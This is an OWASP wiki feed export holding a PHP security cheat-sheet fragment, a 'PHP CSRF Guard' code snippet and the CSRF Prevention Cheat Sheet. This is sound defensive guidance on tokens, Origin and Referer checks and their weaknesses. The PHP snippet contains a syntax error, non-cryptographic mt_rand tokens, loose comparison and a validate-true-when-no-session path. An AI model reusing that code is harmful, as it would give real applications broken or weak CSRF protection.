PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_CSRF_Guard&amp;diff=134855</id>
		<title>PHP CSRF Guard</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_CSRF_Guard&amp;diff=134855"/>
				<updated>2012-08-27T16:57:31Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Code Snippet=&lt;br /&gt;
&lt;br /&gt;
If you need to protect against CSRF attacks in your code, this little helper can reduce the risk:&lt;br /&gt;
&lt;br /&gt;
 session_start(); //if you are copying this code, this line makes it work.&lt;br /&gt;
&lt;br /&gt;
 function store_in_session($key,$value)&lt;br /&gt;
 {&lt;br /&gt;
 	if (isset($_SESSION))&lt;br /&gt;
 	{&lt;br /&gt;
 		$_SESSION[$key]=$value;&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
 function unset_session($key)&lt;br /&gt;
 {&lt;br /&gt;
 	$_SESSION[$key])='';&lt;br /&gt;
 	unset($_SESSION[$key]);&lt;br /&gt;
 }&lt;br /&gt;
 function get_from_session($key)&lt;br /&gt;
 {&lt;br /&gt;
 	if (isset($_SESSION))&lt;br /&gt;
 	{&lt;br /&gt;
 		return $_SESSION[$key];&lt;br /&gt;
 	}&lt;br /&gt;
 	else {  return false; } //no session data, no CSRF risk&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 function csrfguard_generate_token($unique_form_name)&lt;br /&gt;
 {&lt;br /&gt;
 	if (function_exists(&amp;quot;hash_algos&amp;quot;) and in_array(&amp;quot;sha512&amp;quot;,hash_algos()))&lt;br /&gt;
 	{&lt;br /&gt;
 		$token=hash(&amp;quot;sha512&amp;quot;,mt_rand(0,mt_getrandmax()));&lt;br /&gt;
 	}&lt;br /&gt;
 	else&lt;br /&gt;
 	{&lt;br /&gt;
 		$token='';&lt;br /&gt;
 		for ($i=0;$i&amp;lt;128;++$i)&lt;br /&gt;
 		{&lt;br /&gt;
 			$r=mt_rand(0,35);&lt;br /&gt;
 			if ($r&amp;lt;26)&lt;br /&gt;
 			{&lt;br /&gt;
 				$c=chr(ord('a')+$r);&lt;br /&gt;
 			}&lt;br /&gt;
 			else&lt;br /&gt;
 			{ &lt;br /&gt;
 				$c=chr(ord('0')+$r-26);&lt;br /&gt;
 			} &lt;br /&gt;
 			$token.=$c;&lt;br /&gt;
 		}&lt;br /&gt;
 	}&lt;br /&gt;
 	store_in_session($unique_form_name,$token);&lt;br /&gt;
 	return $token;&lt;br /&gt;
 }&lt;br /&gt;
 function csrfguard_validate_token($unique_form_name,$token_value)&lt;br /&gt;
 {&lt;br /&gt;
 	$token=get_from_session($unique_form_name);&lt;br /&gt;
 	if ($token===false)&lt;br /&gt;
 	{&lt;br /&gt;
 		return true;&lt;br /&gt;
 	}&lt;br /&gt;
 	elseif ($token==$token_value)&lt;br /&gt;
 	{&lt;br /&gt;
 		$result=true;&lt;br /&gt;
 	}&lt;br /&gt;
 	else&lt;br /&gt;
 	{ &lt;br /&gt;
 		$result=false;&lt;br /&gt;
 	} &lt;br /&gt;
 	unset_session($unique_form_name);&lt;br /&gt;
 	return $result;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 function csrfguard_replace_forms($form_data_html)&lt;br /&gt;
 {&lt;br /&gt;
 	$count=preg_match_all(&amp;quot;/&amp;lt;form(.*?)&amp;gt;(.*?)&amp;lt;\\/form&amp;gt;/is&amp;quot;,$form_data_html,$matches,PREG_SET_ORDER);&lt;br /&gt;
 	if (is_array($matches))&lt;br /&gt;
 	{&lt;br /&gt;
 		foreach ($matches as $m)&lt;br /&gt;
 		{&lt;br /&gt;
 			if (strpos($m[1],&amp;quot;nocsrf&amp;quot;)!==false) { continue; }&lt;br /&gt;
 			$name=&amp;quot;CSRFGuard_&amp;quot;.mt_rand(0,mt_getrandmax());&lt;br /&gt;
 			$token=csrfguard_generate_token($name);&lt;br /&gt;
 			$form_data_html=str_replace($m[0],&lt;br /&gt;
 				&amp;quot;&amp;lt;form{$m[1]}&amp;gt;&lt;br /&gt;
 &amp;lt;input type='hidden' name='CSRFName' value='{$name}' /&amp;gt;&lt;br /&gt;
 &amp;lt;input type='hidden' name='CSRFToken' value='{$token}' /&amp;gt;{$m[2]}&amp;lt;/form&amp;gt;&amp;quot;,$form_data_html);&lt;br /&gt;
 		}&lt;br /&gt;
 	}&lt;br /&gt;
 	return $form_data_html;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 function csrfguard_inject()&lt;br /&gt;
 {&lt;br /&gt;
 	$data=ob_get_clean();&lt;br /&gt;
 	$data=csrfguard_replace_forms($data);&lt;br /&gt;
 	echo $data;&lt;br /&gt;
 }&lt;br /&gt;
 function csrfguard_start()&lt;br /&gt;
 {&lt;br /&gt;
 	if (count($_POST))&lt;br /&gt;
 	{&lt;br /&gt;
 		if (!isset($_POST['CSRFName']))&lt;br /&gt;
 		{&lt;br /&gt;
 			trigger_error(&amp;quot;No CSRFName found, probable invalid request.&amp;quot;,E_USER_ERROR);		&lt;br /&gt;
 		} &lt;br /&gt;
 		$name =$_POST['CSRFName'];&lt;br /&gt;
 		$token=$_POST['CSRFToken'];&lt;br /&gt;
 		if (!csrfguard_validate_token($name, $token))&lt;br /&gt;
 		{ &lt;br /&gt;
 			trigger_error(&amp;quot;Invalid CSRF token.&amp;quot;,E_USER_ERROR);&lt;br /&gt;
 		}&lt;br /&gt;
 	}&lt;br /&gt;
 	ob_start();&lt;br /&gt;
 	register_shutdown_function(csrfguard_inject);	&lt;br /&gt;
 }&lt;br /&gt;
 csrfguard_start();&lt;br /&gt;
&lt;br /&gt;
=Description and Usage=&lt;br /&gt;
The first three functions, are an abstraction over how session variables are stored. Replace them if you don't use native PHP sessions.&lt;br /&gt;
&lt;br /&gt;
The '''generate''' function, creates a random secure one-time CSRF token. If SHA512 is available, it is used, otherwise a 512 bit random string in the same format is generated. This function also stores the generated token under a unique name in session variable.&lt;br /&gt;
&lt;br /&gt;
The '''validate''' function, checks under the unique name for the token. There are three states:&lt;br /&gt;
* Sessions not active: validate succeeds (no CSRF risk)&lt;br /&gt;
* Token found but not the same, or token not found: validation fails&lt;br /&gt;
* Token found and the same: validation succeeds&lt;br /&gt;
Either case, this function removes the token from sessions, ensuring one-timeness.&lt;br /&gt;
 &lt;br /&gt;
The '''replace''' function, receives a portion of html data, finds all &amp;lt;form&amp;gt; occurrences and adds two hidden fields to them: CSRFName and CSRFToken. If any of these forms has an attribute or value '''''nocsrf'''''', the addition won't be performed (note that using default inject and detect breaks with this).&lt;br /&gt;
&lt;br /&gt;
The other two functions, '''inject''' and '''start''' are a demonstration of how to use the other functions. Using output buffering on your entire output is not recommended (some libraries might dump output buffering). This default behavior, enforces CSRF tokens on all forms using POST method. It is assumed that no sensitive operations with GET method are performed in the application, as required by [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1 RFC 2616].&lt;br /&gt;
&lt;br /&gt;
To test this code, append the following HTML to it:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;form method='post'&amp;gt;&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php echo &amp;quot;testing&amp;quot;?&amp;gt;' /&amp;gt;&lt;br /&gt;
 &amp;lt;input type='submit' /&amp;gt;&lt;br /&gt;
 &amp;lt;/form&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;form class='nocsrf'&amp;gt;&lt;br /&gt;
 &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Author and License=&lt;br /&gt;
This piece of code is by [mailto:abbas.naderi@owasp.org Abbas Naderi Afooshteh] from OWASP under Creative Commons 3.0 License.&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=134854</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=134854"/>
				<updated>2012-08-27T16:55:06Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In affect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are the inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control include the challenge token in GET (URL) requests as well as POST requests. This often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site.&lt;br /&gt;
&lt;br /&gt;
In the latter case (leaked CSRF token due to the Referer header being parsed by a linked site), it is trivially easy for the linked site to launch a CSRF attack on the protected site, and they will be able to target this attack very effectively, since the Referer header tells them the site as well as the CSRF token. The attack could be run entirely from javascript, so that a simple addition of a script tag to the HTML of a site can launch an attack (whether on an originally malicious site or on a hacked site). Timeouts on CSRF tokens are very unlikely to help this attack scenario.&lt;br /&gt;
&lt;br /&gt;
The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. This is in fact what the [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1 RFC 2616] requires for GET requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests.&lt;br /&gt;
&lt;br /&gt;
In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring.&lt;br /&gt;
&lt;br /&gt;
For these cases, attempting to retrofit this pattern in existing applications requires significant development time and cost, and as a temporary measure it may be better to pass CSRF tokens in the URL. Once the application has been fixed to respond to HTTP GET and POST verbs correctly, CSRF tokens for GET requests should be turned off.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are [http://keepitlocked.net/archive/2008/05/29/viewstateuserkey-doesn-t-prevent-cross-site-request-forgery.aspx limitations] on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Frameworks ===&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
*[[.Net CSRF Guard]]&lt;br /&gt;
&lt;br /&gt;
== Challenge-Response ==&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Checking The Referer Header =&lt;br /&gt;
Although it is trivial to spoof the referer header on your own browser,  it is impossible to do so in a CSRF attack.  Checking the referer is a commonly used method of preventing CSRF on embedded network devices because it does not require a per-user state.  This makes a referer a useful method of CSRF prevention when memory is scarce.&lt;br /&gt;
&lt;br /&gt;
However, checking the referer is considered to be a weaker from of CSRF protection.  For example,  open redirect vulnerabilities can be used to exploit GET-based requests that are protected with a referer check.  It should be noted that GET requests should never incur a state change as this is a violation of the HTTP specification. &lt;br /&gt;
&lt;br /&gt;
There are also common implementation mistakes with referer checks.  For example if the CSRF attack originates from an HTTPS domain then the referer will be omitted.  In this case the lack of a referer should be considered to be an attack when the request is performing a state change.   Also note that the attacker has limited influence over the referer.   For example,  if the victim's domain is &amp;quot;site.com&amp;quot; then an attacker have the CSRF exploit originate from &amp;quot;site.com.attacker.com&amp;quot; which may fool a broken referer check implementation.  XSS can be used to bypass a referer check. &lt;br /&gt;
&lt;br /&gt;
= Checking The Origin Header =&lt;br /&gt;
The [https://wiki.mozilla.org/Security/Origin Origin HTTP Header] was introduced as a method of defending against CSRF and other Cross-Domain attacks.  Unlike the referer, the origin will be present in HTTP request that originates from an HTTPS url.&lt;br /&gt;
&lt;br /&gt;
If the origin header is present,  then it should be checked for consistency.&lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit.  This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually. &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting is not necessary for CSRF to work. However, all stored cross-site scripting attacks can be used to defeat token, referer and origin based CSRF defenses,  This is because an XSS payload can simply read any page on the site using a XMLHttpRequest and obtain the generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Paul Petefish - paulpetefish[at]solutionary.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Eric Sheridan - eric.sheridan[at]whitehatsec.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Dave Wichers - dave.wichers[at]aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	</feed>